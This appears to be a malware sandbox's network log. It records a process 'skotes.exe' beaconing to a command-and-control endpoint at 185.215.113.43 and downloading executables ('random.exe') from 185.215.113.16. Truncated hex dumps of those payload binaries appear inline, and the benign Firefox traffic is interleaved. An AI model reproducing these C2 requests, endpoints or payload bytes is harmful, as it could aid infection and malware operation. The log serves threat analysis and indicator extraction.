Nov 23, 2024 13:28:48.965550900 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:28:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 23, 2024 13:28:48.965686083 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 23, 2024 13:28:48.969883919 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49819	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:28:43.872771978 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 34 33 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008434001&unit=246122658369
Nov 23, 2024 13:28:45.261224985 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:28:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49824	185.215.113.16	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:28:45.538827896 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 13:28:46.870841026 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:28:46 GMT Content-Type: application/octet-stream Content-Length: 922624 Last-Modified: Sat, 23 Nov 2024 12:16:33 GMT Connection: keep-alive ETag: "6741c7a1-e1400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 99 c7 41 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELAg"dw@p]@@@d\|@,u4@.text `.rdata@@.datalpH@.rsrc,@@@.relocuv@B
Nov 23, 2024 13:28:46.870920897 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQ
Nov 23, 2024 13:28:46.871453047 CET	1236	IN	Data Raw: e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 00 68 21 24 44 00 e8 0d f0 01 00 59 Data Ascii: h$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\
Nov 23, 2024 13:28:46.871540070 CET	1236	IN	Data Raw: 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 00 00 8d 8f 7c fd ff ff e8 23 83 00 Data Ascii: OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY9404
Nov 23, 2024 13:28:46.871553898 CET	248	IN	Data Raw: 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 08 00 Data Ascii: j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]
Nov 23, 2024 13:28:46.871920109 CET	1236	IN	Data Raw: 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d 46 20 83 61 08 00 50 e8 c9 e5 00 00 8a 46 30 88 47 30 8b c7 5f 5e 5d c2 04 00 33 d2 33 c0 89 11 40 89 41 0c 89 51 08 88 51 10 89 51 Data Ascii: uWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jAZ @uSV5I3WjXSG
Nov 23, 2024 13:28:46.871997118 CET	1236	IN	Data Raw: 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 03 74 0d 48 83 e8 01 0f 85 97 07 04 00 8a 01 c3 83 39 00 0f 95 c0 c3 8b 41 08 83 78 04 00 eb f3 55 8b ec 53 56 8b 75 08 33 db 57 8a d3 8b 0e 8d Data Ascii: At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u+3+fy4
Nov 23, 2024 13:28:46.872009993 CET	248	IN	Data Raw: 7f 05 04 00 3b fb 0f 84 26 fe ff ff e9 72 05 04 00 83 38 05 0f 85 d0 fe ff ff ff 45 f4 8d 45 ec 89 7d ec 8d 8d 54 ff ff ff 50 47 e8 5a 03 00 00 8b 45 d8 8b 48 04 8b 85 58 ff ff ff 89 45 bc e9 a6 fe ff ff 83 e8 21 0f 85 23 01 00 00 8b 41 04 6a 7f Data Ascii: ;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]ETpXEE
Nov 23, 2024 13:28:46.873106956 CET	1236	IN	Data Raw: 00 3b fb 0f 84 31 fd ff ff e9 85 04 04 00 ff 75 e8 ff 75 f4 ff 75 e4 ff 75 e0 53 52 ff 75 f0 33 db 53 e8 86 03 00 00 85 c0 78 02 8b f3 8d 4d 84 e8 1a 02 00 00 8d 8d 78 ff ff ff e8 0f 02 00 00 8d 8d 6c ff ff ff e8 04 02 00 00 8d 8d 60 ff ff ff e8 Data Ascii: ;1uuuuSRu3SxMxl`MTM_^[rU]AjYf9H}AjYf9HEE}xPG\|EIE
Nov 23, 2024 13:28:46.873158932 CET	1236	IN	Data Raw: 00 88 5c 24 19 88 5c 24 1a ff 15 28 c3 49 00 8d 44 24 13 50 ff 75 08 e8 c2 03 00 00 ff 15 18 c2 49 00 85 c0 0f 85 aa 00 04 00 a1 00 14 4d 00 85 c0 0f 84 b5 00 04 00 33 ff be 90 23 4d 00 47 3b c7 0f 84 b1 00 04 00 8d 44 24 11 50 51 68 00 14 4d 00 Data Ascii: \$\$(ID$PuIM3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M
Nov 23, 2024 13:28:46.990890980 CET	1236	IN	Data Raw: 4d e0 e8 6c a0 00 00 8b 75 ac 8d 4d f0 e8 22 7a 00 00 8d 45 f0 50 8d 4d 90 e8 39 01 00 00 8b 7d f0 57 68 58 ca 49 00 e8 cf 1a 02 00 59 59 85 c0 0f 84 8b fd 03 00 57 68 30 ca 49 00 e8 ba 1a 02 00 59 59 85 c0 0f 84 92 fd 03 00 57 68 08 ca 49 00 e8 Data Ascii: MluM"zEPM9}WhXIYYWh0IYYWhIYYWhIYYu>M8]uMEPMEMPxEPM9MM3NQjWJ:u3]@ESPEPW@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49837	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:28:50.966815948 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 34 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008435001&unit=246122658369
Nov 23, 2024 13:28:52.352924109 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:28:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49843	185.215.113.16	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:28:52.764780045 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 13:28:54.102117062 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:28:53 GMT Content-Type: application/octet-stream Content-Length: 2810880 Last-Modified: Sat, 23 Nov 2024 12:17:00 GMT Connection: keep-alive ETag: "6741c7bc-2ae400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 12 95 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ ++`Ui` @ @.rsrc`2@.idata 8@iqgnxywy*:@gjczkkuc @+@.taggant@`+"*@
Nov 23, 2024 13:28:54.102200031 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 13:28:54.102214098 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 13:28:54.102229118 CET	372	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 13:28:54.102312088 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 13:28:54.102372885 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 13:28:54.102390051 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 13:28:54.102520943 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 13:28:54.102536917 CET	1236	IN	Data Raw: c6 bd 8c bb 17 c0 0f 1c e8 bf eb 88 2d 53 04 5d e8 e0 f6 d6 5e cd 84 3f e0 e7 57 cd 80 cb 85 97 6d 74 7d 52 50 ac c2 e1 7b 4d a6 7f f3 bd d0 f1 5c b5 bd 67 7b 21 02 61 fd ad 80 dc 80 bc f1 ec 87 9d 5d 1b 07 91 86 3f 86 71 88 36 b8 64 6f 4e 79 f2 Data Ascii: -S]^?Wmt}RP{M\g{!a]?q6doNym~m=jGXU8@L?s`EF,{M7Zhg'EOuie5>.!h
Nov 23, 2024 13:28:54.102554083 CET	620	IN	Data Raw: d9 62 f7 bc 19 c0 db a6 9f 9d 10 86 d7 9c d9 f6 38 91 ce 87 3c fb ed 8f cf e6 fc 19 3c e5 cb e7 c2 b3 fe ab 69 5b 19 f9 3c a2 95 07 ac 02 38 f6 c6 a3 c6 a1 09 5d b1 8e 39 ed c2 18 4a d2 ee da 20 8f f1 50 cc 8a fe 37 49 22 3f dc 3b 98 ac 89 3e 8c Data Ascii: b8<<i[<8]9J P7I"?;>_:czzyv^]L:[53(>8V\|~G'+=}^,}+Y#kmGIf`Gf;1@:@<y4q/\JUbPCG;+6
Nov 23, 2024 13:28:54.222242117 CET	1236	IN	Data Raw: cc e6 e0 d8 f0 be 6e c2 b3 f5 4e ae 25 96 1f fb fb 4d cc 70 27 77 5e fb f9 4d e4 e0 7f 0f c3 b7 fb b3 fc 86 eb 6e 21 e6 48 ec 92 82 6d 7a 8d e5 23 ef 01 78 2d f1 95 e7 76 9b dd 79 df 54 d2 92 3f d7 e7 7f fe ba 97 87 32 6c b5 f2 07 f4 e4 7a 34 81 Data Ascii: nN%Mp'w^Mn!Hmz#x-vyT?2lz49'Q9p;Y=j3hV16oGv-zu~6v6y@I 8=I7Sqkt<$\TQM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49881	34.107.221.82	80	1976	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:28:59.886496067 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 13:29:01.003067970 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 20463 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 13:29:04.274919033 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 13:29:04.598706007 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 20467 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49885	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:01.455092907 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 34 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008436001&unit=246122658369
Nov 23, 2024 13:29:02.885016918 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:29:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49895	34.107.221.82	80	1976	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:03.427705050 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 13:29:04.559391022 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 40799 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49905	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:04.641330957 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:29:05.970359087 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:29:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49910	34.107.221.82	80	1976	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:04.959616899 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 13:29:06.138771057 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 40800 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 13:29:16.216231108 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:29:26.494869947 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:29:36.797154903 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49911	34.107.221.82	80	1976	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:05.456058979 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 13:29:06.506612062 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 20469 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 13:29:16.510508060 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:29:26.713668108 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:29:37.015892029 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49918	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
